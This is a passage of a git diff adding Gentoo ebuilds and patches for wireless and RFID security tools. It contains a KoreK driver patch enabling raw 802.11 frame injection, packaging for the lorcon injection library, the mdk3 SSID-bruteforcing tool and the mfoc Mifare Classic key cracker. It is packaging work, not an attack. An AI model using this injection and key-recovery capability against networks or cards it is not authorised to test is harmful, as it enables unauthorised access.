++                       txdesc.data_len = host2hfa384x_16(skb->len+8);
++                       // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++               } else {
++                       txdesc.data_len =  host2hfa384x_16(skb->len);
++               } 
++        } else {
++               /* KoreK: raw injection (monitor mode): pull the rest of
++                  the header and ssanity check on txdesc.data_len */
++               memcpy(&(txdesc.data_len), skb->data, 16);
++               skb_pull(skb,16);
++               if (txdesc.data_len != host2hfa384x_16(skb->len)) {
++                       printk(KERN_DEBUG "mismatch frame_len, drop frame\n");
++                       return 0;
++               }
++
++               txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1);
++        }
++
+ 
+ 	txdesc.tx_control = host2hfa384x_16(txdesc.tx_control);
+ 	/* copy the header over to the txdesc */
+@@ -3140,7 +3170,9 @@
+ 	spin_lock(&hw->cmdlock);
+ 
+ 	/* Copy descriptor+payload to FID */
+-        if (p80211_wep->data) { 
++	
++//        if (p80211_wep->data) {
++        if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { 
+ 		result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0,
+ 					      &txdesc, sizeof(txdesc),
+ 					      p80211_wep->iv, sizeof(p80211_wep->iv),
+@@ -3586,6 +3618,17 @@
+ 	{
+ 	case 0:
+ 
++               /* KoreK: this testmode uses macport 0 */
++               if ((wlandev->netdev->type == ARPHRD_IEEE80211) ||
++                   (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) {
++                       if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) {
++                               hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc);
++                       } else {
++                               WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n");
++                       }
++                       goto done;
++               }
++
+ 		fc = ieee2host16(rxdesc.frame_control);
+ 
+ 		/* If exclude and we receive an unencrypted, drop it */
+diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c
+--- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c	2005-10-31 14:52:36.000000000 -0500
++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c	2006-03-18 15:38:19.000000000 -0500
+@@ -1398,8 +1398,16 @@
+ 
+ 	DBFENTER;
+ 
+-	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
+-		HFA384x_CMD_AINFO_SET(enable);
++//	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++//		HFA384x_CMD_AINFO_SET(enable);
++       if (enable == HFA384x_MONITOR_ENABLE) {
++               // KoreK: get into test mode 0x0a
++               cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++                       HFA384x_CMD_AINFO_SET(0x0a);
++       } else {
++               cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++                       HFA384x_CMD_AINFO_SET(enable);
++       }
+ 	cmd.parm0 = 0;
+ 	cmd.parm1 = 0;
+ 	cmd.parm2 = 0;
+@@ -3412,37 +3420,71 @@
+ 		HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) |
+ 		HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0);	
+ #endif
+-	hw->txbuff.txfrm.desc.tx_control = 
+-		host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
+-
+-	/* copy the header over to the txdesc */
+-	memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t));
++//	hw->txbuff.txfrm.desc.tx_control = 
++//		host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
+ 
+-	/* if we're using host WEP, increase size by IV+ICV */
+-	if (p80211_wep->data) {
+-		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8);
+-		// hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
+-		usbpktlen+=8;
+-	} else {
+-		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len);
++//	/* copy the header over to the txdesc */
++//	memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t));
++       if (skb->protocol != htons(ETH_P_80211_RAW)) {
++               hw->txbuff.txfrm.desc.tx_control =
++                       host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
++
++               /* copy the header over to the txdesc */
++               memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr,
++                       sizeof(p80211_hdr_t));
++
++               /* if we're using host WEP, increase size by IV+ICV */
++               if (p80211_wep->data) {
++                       hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8);
++                       // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++                       usbpktlen+=8;
++               } else {
++                       hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len);
++               }
++       } else  {
++               /* KoreK: raw injection (monitor mode): pull the rest of
++                  the header and ssanity check on txdesc.data_len */
++               memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16);
++               skb_pull(skb,16);
++               if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) {
++                       printk(KERN_DEBUG "mismatch frame_len, drop frame\n");
++                       return 0;
++               }
++//	/* if we're using host WEP, increase size by IV+ICV */
++//	if (p80211_wep->data) {
++//		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8);
++//		// hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++//		usbpktlen+=8;
++//	} else {
++//		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len);
++               hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1);
++               hw->txbuff.txfrm.desc.tx_control  =
++                       host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
++
++               /* copy the header over to the txdesc */
++               memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr,
++                       sizeof(p80211_hdr_t));
+ 	}
+ 
+ 	usbpktlen += skb->len;
+ 
+ 	/* copy over the WEP IV if we are using host WEP */
+ 	ptr = hw->txbuff.txfrm.data;
+-	if (p80211_wep->data) {
++//	if (p80211_wep->data) {
++       if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) {
+ 		memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv));
+ 		ptr+= sizeof(p80211_wep->iv);
+ 		memcpy(ptr, p80211_wep->data, skb->len);
+ 	} else {
+ 		memcpy(ptr, skb->data, skb->len);
+ 	}
++
+ 	/* copy over the packet data */
+ 	ptr+= skb->len;
+ 
+ 	/* copy over the WEP ICV if we are using host WEP */
+-	if (p80211_wep->data) {
++//	if (p80211_wep->data) {
++       if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) {
+ 		memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv));
+ 	}
+ 
+@@ -4203,6 +4245,17 @@
+ 	switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) )
+ 	{
+ 	case 0:
++               /* KoreK: this testmode uses macport 0 */
++               if ((wlandev->netdev->type == ARPHRD_IEEE80211) ||
++                   (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) {
++                       if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) {
++                               hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm);
++                       } else {
++                               WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n");
++                       }
++                       goto done;
++               }
++
+ 		fc = ieee2host16(usbin->rxfrm.desc.frame_control);
+ 
+ 		/* If exclude and we receive an unencrypted, drop it */
+diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c
+--- linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c	2005-06-22 10:16:55.000000000 -0400
++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c	2006-03-18 15:21:03.000000000 -0500
+@@ -2860,9 +2860,12 @@
+ 		}
+ 
+ 		/* Now if we're already sniffing, we can skip the rest */
+-		if (wlandev->netdev->type != ARPHRD_ETHER) {		
++//		if (wlandev->netdev->type != ARPHRD_ETHER) {		
++               if ((wlandev->netdev->type != ARPHRD_IEEE80211) &&
++                   (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) {
+ 			/* Set the port type to pIbss */
+-			word = HFA384x_PORTTYPE_PSUEDOIBSS;
++//			word = HFA384x_PORTTYPE_PSUEDOIBSS;
++                       word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS;
+ 			result = hfa384x_drvr_setconfig16(hw, 
+ 							  HFA384x_RID_CNFPORTTYPE, word);
+ 			if ( result ) {
+@@ -2874,6 +2877,8 @@
+ 			}
+ 			if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) {
+ 				/* Set the wepflags for no decryption */
++                               /* doesn't work - done from the CLI */
++                               /* Fix? KoreK */
+ 				word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | 
+ 					HFA384x_WEPFLAGS_DISABLE_RXCRYPT;
+ 				result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word);
+@@ -2919,7 +2924,9 @@
+ 			goto failed;
+ 		}
+ 
+-		if (wlandev->netdev->type == ARPHRD_ETHER) {
++//		if (wlandev->netdev->type == ARPHRD_ETHER) {
++               if ((wlandev->netdev->type != ARPHRD_IEEE80211) &&
++                   (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) {
+ 			WLAN_LOG_INFO("monitor mode enabled\n");
+ 		}
+ 
+diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c
+--- linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c	2005-10-07 17:32:44.000000000 -0400
++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c	2006-03-18 15:15:00.000000000 -0500
+@@ -410,7 +410,9 @@
+ 	DBFENTER;
+ 
+ 	/* If necessary, set the 802.11 WEP bit */
+-	if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) {
++//	if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) {
++       if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED)
++           && (skb->protocol != htons(ETH_P_80211_RAW))) {
+ 		p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1));
+ 	}
+ 
diff --git a/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild b/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild
new file mode 100644
index 00000000..3193b846
--- /dev/null
+++ b/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild
@@ -0,0 +1,90 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild,v 1.1 2006/10/08 19:09:23 betelgeuse Exp $
+
+EAPI="2"
+
+inherit eutils linux-mod
+
+MY_PN=${PN/-modules/}
+MY_P=${MY_PN}-${PV}
+
+DESCRIPTION="Kernel modules for Prism2/2.5/3 based 802.11b USB wireless LAN products"
+HOMEPAGE="http://linux-wlan.org"
+SRC_URI="ftp://ftp.linux-wlan.org/pub/linux-wlan-ng/${MY_P}.tar.bz2"
+
+LICENSE="|| ( GPL-2 MPL-1.1 )"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+IUSE="debug"
+
+BUILD_TARGETS="default"
+BUILD_PARAMS="WLAN_SRC=${S}/src"
+
+DEPEND="!<net-wireless/linux-wlan-ng-0.2.2"
+RDEPEND=""
+
+S=${WORKDIR}/${MY_P}
+
+pkg_setup() {
+	# We have to put this to the global scope inside the function or it will be
+	# reset between functions because the ebuild is sourced many times.
+
+	MODULE_NAMES="p80211(net/wireless:"${S}"/src/p80211)"
+	MODULE_NAMES="${MODULE_NAMES} prism2_usb(net/wireless:"${S}"/src/prism2/driver)"
+
+	linux-mod_pkg_setup
+}
+
+config_by_usevar() {
+	local config=${3}
+	[[ -z ${config} ]] && config="${S}"/default.config
+
+	if use ${2}; then
+		echo "${1}=y" >> ${config}
+	else
+		echo "${1}=n" >> ${config}
+	fi
+}
+
+src_prepare() {
+	local config="${S}"/default.config
+
+	epatch "${FILESDIR}"/linux-wlan-0.2.3.packet.injection.patch
+	cp config.in ${config}
+
+	echo "TARGET_ROOT_ON_HOST=${D}" >> ${config}
+	echo "LINUX_SRC=${KERNEL_DIR}"  >> ${config}
+	echo "FIRMWARE_DIR=/lib/firmware/" >> ${config}
+	echo "PRISM2_PCI=n" >> ${config}
+	echo "PRISM2_PLX=n" >> ${config}
+	echo "PRISM2_PCMCIA=n" >> ${config}
+	echo "PRISM2_USB=y" >> ${config}
+
+	config_by_usevar WLAN_DEBUG debug
+
+	sed -i -e "s:dep modules:modules:" "${S}"/src/p80211/Makefile
+}
+
+src_compile() {
+	set_arch_to_kernel
+	emake default_config || die "emake default_config failed"
+	set_arch_to_portage
+
+	cd "${S}"/src/mkmeta
+	emake || die "emake mkmeta failed"
+
+	linux-mod_src_compile
+}
+
+pkg_postinst() {
+	linux-mod_pkg_postinst
+
+	einfo "Support for pci, plx and pcmcia drivers has been removed in"
+	einfo "revision. For pci, plx and pcmcia drivers try for example"
+	einfo "the hostap-driver or orinoco drivers. They both work with the"
+	einfo "standard wireless tools."
+	einfo ""
+	einfo "If they do not work, please report this to betelgeuse@gentoo.org."
+}
diff --git a/net-wireless/lorcon-old/Manifest b/net-wireless/lorcon-old/Manifest
new file mode 100644
index 00000000..ed53f9c5
--- /dev/null
+++ b/net-wireless/lorcon-old/Manifest
@@ -0,0 +1 @@
+EBUILD lorcon-old-9999.ebuild 640 RMD160 5e77ecbe4a9b3e5dfbbc83e61d657385829cb3fc SHA1 04d6155143ad90ce059a7f292e1cbe5e0a7914f8 SHA256 21263b645c14b57b5b9550938e3d24e198ea1d9b309df361a11c6aba7e19ac30
diff --git a/net-wireless/lorcon-old/lorcon-old-9999.ebuild b/net-wireless/lorcon-old/lorcon-old-9999.ebuild
new file mode 100644
index 00000000..e78aea91
--- /dev/null
+++ b/net-wireless/lorcon-old/lorcon-old-9999.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs eutils subversion
+
+DESCRIPTION="A generic library for injecting 802.11 frames"
+HOMEPAGE="http://802.11ninja.net/lorcon"
+SRC_URI=""
+ESVN_REPO_URI="http://802.11ninja.net/svn/lorcon/branch/lorcon-old"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="$RDEPEND"
+RDEPEND="dev-libs/libnl
+		 net-libs/libpcap"
+
+src_install() {
+	DESTDIR="${D}" emake install
+	# rename manpage to avoid conflict with lorcon
+	mv "${D}"/usr/share/man/man3/lorcon.3 "${D}"/usr/share/man/man3/lorcon-old.3
+}
diff --git a/net-wireless/lorcon/Manifest b/net-wireless/lorcon/Manifest
new file mode 100644
index 00000000..54df9fb1
--- /dev/null
+++ b/net-wireless/lorcon/Manifest
@@ -0,0 +1 @@
+EBUILD lorcon-9999.ebuild 2010 SHA256 1824bd6e24b3cce2be41fd74f7bcbe2f502d8867926686ceab135f0319a96772 SHA512 6d7cb9a0eb91d5e7c09ba45a536b5131c37c2d635d8c7be470a755166ff8215672aaf4000bd3967855679dcb2e1e35999405f2fc452c4db29e177d140dce4d06 WHIRLPOOL 28f62b1b61725282168334339109b0ad330f8c8e6f6571b691eab9eb88be4b960e59e00a9cb8e2a3b194da9247fd881ea01817f3a4689c0a3fbf6adf546234d4
diff --git a/net-wireless/lorcon/lorcon-9999.ebuild b/net-wireless/lorcon/lorcon-9999.ebuild
new file mode 100644
index 00000000..49a5eb9f
--- /dev/null
+++ b/net-wireless/lorcon/lorcon-9999.ebuild
@@ -0,0 +1,95 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+PYTHON_DEPEND="python? 2"
+SUPPORT_PYTHON_ABIS="1"
+RESTRICT_PYTHON_ABIS="3.*"
+
+USE_RUBY="ruby18 ruby19"
+RUBY_OPTIONAL=yes
+
+inherit git-2 distutils ruby-ng
+
+DESCRIPTION="A generic library for injecting 802.11 frames"
+HOMEPAGE="http://802.11ninja.net/lorcon"
+EGIT_REPO_URI="https://code.google.com/p/lorcon/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="python ruby"
+
+DEPEND="ruby? ( $(ruby_implementations_depend) )"
+RDEPEND="${DEPEND}
+	dev-libs/libnl"
+
+S="${WORKDIR}"/all
+
+pkg_setup() {
+        if use python; then
+                python_pkg_setup;
+                DISTUTILS_SETUP_FILES=("${S}/pylorcon2|setup.py")
+	fi
+	use ruby && ruby-ng_pkg_setup
+}
+
+src_unpack() {
+	git-2_src_unpack
+	use ruby && ruby-ng_src_unpack
+}
+
+src_prepare() {
+	use python && distutils_src_prepare
+	sed -i 's#<lorcon2/lorcon.h>#"../lorcon.h"#' pylorcon2/PyLorcon2.c
+	sed -i 's#find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h") and ##' ruby-lorcon/extconf.rb
+	sed -i "s#-I/usr/include/lorcon2#-I${WORKDIR}/all#" ruby-lorcon/extconf.rb
+	sed -i 's#<lorcon2/lorcon.h>#"../lorcon.h"#' ruby-lorcon/Lorcon2.h
+	use ruby && ruby-ng_src_prepare
+}
+
+src_configure() {
+	default_src_configure
+	use ruby && ruby-ng_src_configure
+}
+
+src_compile() {
+	default_src_compile
+	if use python; then
+		LDFLAGS+=" -L${S}/.libs/"
+		distutils_src_compile
+	fi
+	use ruby && ruby-ng_src_compile
+}
+
+src_install() {
+	emake DESTDIR="${ED}" install
+	use python && distutils_src_install
+	use ruby && ruby-ng_src_install
+}
+
+src_test() {
+	:
+}
+
+pkg_postinst() {
+	use python && distutils_pkg_postinst
+}
+pkg_postrm() {
+	use python && distutils_pkg_postrm
+}
+
+each_ruby_configure() {
+	${RUBY} -C "ruby-lorcon" extconf.rb
+	sed -i "s#-L\.#-L. -L${WORKDIR}/all/.libs -lorcon2 #g" ruby-lorcon/Makefile
+}
+
+each_ruby_compile() {
+	emake -C ruby-lorcon
+}
+
+each_ruby_install() {
+	DESTDIR="${ED}" emake -C ruby-lorcon install
+}
diff --git a/net-wireless/mdk/Manifest b/net-wireless/mdk/Manifest
new file mode 100644
index 00000000..f8495f39
--- /dev/null
+++ b/net-wireless/mdk/Manifest
@@ -0,0 +1,3 @@
+AUX fix_wids_mdk3_v5.patch 520 RMD160 cd1e9020b06782fa0c98adf274c7b99ed3cbff5c SHA1 3564b5a6e73bff3e705a461890d61a87dfdbc002 SHA256 c0168ab3b50b18c973c954a831bfd6d8373c3f70570247a15d52da6914fe490d
+DIST mdk3-v6.tar.bz2 213279 RMD160 22857e15a86fee1a0419916fcd12d14aeb14ebb1 SHA1 2832d176c02d9c3eb3bcb3b35acfdc94793161dd SHA256 4dac4d0ad54c4dbbf8857f527c573af6495a91d2e503774274b39c3ca8ed11dd
+EBUILD mdk-3.6.ebuild 742 RMD160 5a76e89de581d5f9ad364d31b593644d54cf1b32 SHA1 2b3e1fe413cea2b5bfb5c0fc154a44864458b7ad SHA256 e6e900b2f1db64f024befc8411907a317e831448abb42fbd39b29b6a27eea91d
diff --git a/net-wireless/mdk/files/fix_wids_mdk3_v5.patch b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch
new file mode 100644
index 00000000..6013a59b
--- /dev/null
+++ b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch
@@ -0,0 +1,21 @@
+diff -ur mdk3-v5-orig/mdk3.c mdk3-v5/mdk3.c
+--- mdk3-v5-orig/mdk3.c	2008-11-10 21:45:02.000000000 +0100
++++ mdk3-v5/mdk3.c	2009-01-10 01:47:03.546875000 +0100
+@@ -1092,10 +1092,13 @@
+ {
+   struct clistwidsclient *first = c;
+ 
+-  do {
+-    if (!(memcmp(c->mac, mac, mac_len))) return c;
+-    c = c->next;
+-  } while (c != first);
++  if (c != NULL)
++  {
++    do {
++      if (c->mac != NULL && !(memcmp(c->mac, mac, mac_len))) return c;
++      c = c->next;
++    } while (c != NULL && c != first);
++  }
+ 
+   return NULL;
+ }
diff --git a/net-wireless/mdk/mdk-3.6.ebuild b/net-wireless/mdk/mdk-3.6.ebuild
new file mode 100644
index 00000000..7b578cfe
--- /dev/null
+++ b/net-wireless/mdk/mdk-3.6.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils
+
+MY_P=${PN}${PV/./-v}
+
+DESCRIPTION="Bruteforce hidden SSID"
+HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/"
+SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+	epatch "${FILESDIR}"/fix_wids_mdk3_v5.patch
+	sed -ie "s|CFLAGS.*=.*|CFLAGS = $CFLAGS|" Makefile || die
+}
+
+src_compile() {
+	make -j1 || die "make failed"
+}
+
+src_install() {
+	dosbin mdk3 || die "dobin failed"
+	dodoc AUTHORS CHANGELOG TODO docs/* useful_files/* || die "dodoc failed"
+}
diff --git a/net-wireless/mfoc/Manifest b/net-wireless/mfoc/Manifest
new file mode 100644
index 00000000..8b38b00f
--- /dev/null
+++ b/net-wireless/mfoc/Manifest
@@ -0,0 +1,3 @@
+AUX mfoc-libnfc-1.5.1.patch 8908 RMD160 8d94b6c35fc786263afa6edff01adec42a7a094e SHA1 a85959cfe99fc5c82ec0f3ec2b4d091f444cb430 SHA256 dd6334ffa5939f11260d6bc7f5b4960162260348812ff4cc65478e51302be436
+DIST mfoc-0.10.2.tar.gz 112864 RMD160 a74ccdc22f4ead364872bac0beee0564c53f2be2 SHA1 cce1662300eeab303d375f746dd52e515e2f0e99 SHA256 fc38b990bf37b6416949d0a7c6481bdd8a67698cbb4dcae00c0576fd10845cb0
+EBUILD mfoc-0.10.2.ebuild 550 RMD160 8261f1420540deb08b1fa471bd785cda0d8d4dd8 SHA1 2a4d69343b95a759d5b683a43c48029088204e67 SHA256 81af43a5574b1c0cceba3d2b7dc8cf7af59ffb396c1f51d8723c12b56bf22fe9
diff --git a/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch
new file mode 100644
index 00000000..c19a554a
--- /dev/null
+++ b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch
@@ -0,0 +1,217 @@
+diff -Nru mfoc-0.10.2/src//mfoc.c mfoc/src//mfoc.c
+--- mfoc-0.10.2/src//mfoc.c	2011-05-18 11:18:29.000000000 +0200
++++ mfoc/src//mfoc.c	2012-02-11 02:02:27.028185737 +0100
+@@ -70,11 +70,11 @@
+ 	bool skip = false;
+ 	
+ 	// Next default key specified as option (-k)
+-	byte_t * defKey = NULL; 
++	byte_t * defKeys = NULL, *p;
++	size_t defKeys_len = 0;
+ 	
+ 	// Array with default Mifare Classic keys
+ 	byte_t defaultKeys[][6] = {
+-		{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // User defined key slot
+ 		{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
+ 		{0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
+ 		{0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
+@@ -128,16 +128,17 @@
+ 				// fprintf(stdout, "Tolerance number: %d\n", probes);
+ 				break;
+ 			case 'k':
+-				// Add this key to the default keys list
+-				if ((defKey = calloc(6, sizeof(byte_t))) == NULL) {
+-					ERR ("Cannot allocate memory for defKey");
++				// Add this key to the default keys
++				p = realloc(defKeys, defKeys_len + 6);
++				if (!p) {
++					ERR ("Cannot allocate memory for defKeys");
+ 					exit (EXIT_FAILURE);
+-				} else {
+-					bzero(defKey, 6);
+-					num_to_bytes(strtoll(optarg, NULL, 16), 6, defKey);
+-					memcpy(defaultKeys[0], defKey, 6);
+ 				}
+-				fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKey, 6));
++				defKeys = p;
++				memset(defKeys+defKeys_len, 0, 6);
++				num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys+defKeys_len);
++				fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys+defKeys_len, 6));
++				defKeys_len = defKeys_len + 6;
+ 				
+ 				break;				
+ 			case 'O':
+@@ -252,9 +253,16 @@
+ 	memcpy(mp.mpa.abtUid, t.nt.nti.nai.abtUid, sizeof(mp.mpa.abtUid));
+ 	// Iterate over all keys (n = number of keys)
+ 	n = sizeof(defaultKeys)/sizeof(defaultKeys[0]);
+-	for (key = 0; key < n; key++) {
+-		if (key == 0 && defKey == NULL) ++key; // Custom key not provided, try another key
+-		memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
++	size_t defKey_bytes_todo = defKeys_len;
++	key = 0;
++	while (key < n) {
++		if (defKey_bytes_todo > 0) {
++			memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey));
++			defKey_bytes_todo -= sizeof(mp.mpa.abtKey);
++		} else {
++			memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
++			key++;
++		}
+ 		fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
+ 		fprintf(stdout, "[");
+ 		i = 0; // Sector counter
+@@ -511,22 +519,24 @@
+ }
+ 
+ void usage(FILE * stream, int errno) {
+-	fprintf(stream, "mfoc %s\n\n", PACKAGE_VERSION);
+-	fprintf(stream, "usage: mfoc [-h] [-P probnum] [-T tolerance] [-k custom_key] [-O output]\n\n");
+-	fprintf(stream, "example: mfoc -O card_dump\n");
+-	fprintf(stream, "example: mfoc -k ffffeeeedddd -O card_dump\n");
+-	fprintf(stream, "example: mfoc -P 50 -O card_dump\n");
+-	fprintf(stream, "\n");					
+-	fprintf(stream, "  h : print this help\n");
+-//	fprintf(stream, "  B : instead of 'A' dump 'B' keys\n");
+-	fprintf(stream, "  k : use a specified key instead of looking for defaults ones\n");
+-//	fprintf(stream, "  D : number of distance probes, default is 20\n");
+-//	fprintf(stream, "  S : number of sets with keystreams, default is 5\n");
+-	fprintf(stream, "  P : number of probes for a key recovery for one sector, default is 20\n");
+-	fprintf(stream, "  T : range for a possible distance tolerance, default is 20 (40 in both direction)\n");
+-//	fprintf(stream, "  s : specify the list of sectors to crack, for example -s 0,1,3,5\n");
+-	fprintf(stream, "  O : dump file where the revealed keys should be stored\n");
++	fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n");
++	fprintf(stream, "\n");
++	fprintf(stream, "  h     print this help and exit\n");
++//	fprintf(stream, "  B     instead of 'A' dump 'B' keys\n");
++	fprintf(stream, "  k     try the specified key in addition to the default keys\n");
++//	fprintf(stream, "  D     number of distance probes, default is 20\n");
++//	fprintf(stream, "  S     number of sets with keystreams, default is 5\n");
++	fprintf(stream, "  P     number of probes per sector, instead of default of 20\n");
++	fprintf(stream, "  T     nonce tolerance half-range, instead of default of 20\n        (i.e., 40 for the total range, in both directions)\n");
++//	fprintf(stream, "  s     specify the list of sectors to crack, for example -s 0,1,3,5\n");
++	fprintf(stream, "  O     file in which the card contents will be written (REQUIRED)\n");
++	fprintf(stream, "\n");
++	fprintf(stream, "Example: mfoc -O mycard.mfd\n");
++	fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
++	fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
+ 	fprintf(stream, "\n");
++	fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION);
++	fprintf(stream, "For more information, run: 'man mfoc'.\n");
+ 	exit(errno);
+ }
+ 
+@@ -534,7 +544,7 @@
+ 	// Connect to the first NFC device
+ 	r->pdi = nfc_connect(NULL);
+ 	if (!r->pdi) {
+-		ERR ("Unable to connect to NFC device\n");
++		printf ("No NFC device found.\n");
+ 		exit (EXIT_FAILURE);
+ 	}
+ }
+@@ -671,7 +681,7 @@
+ 		exit (EXIT_FAILURE);
+ 	}
+ 
+-	if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
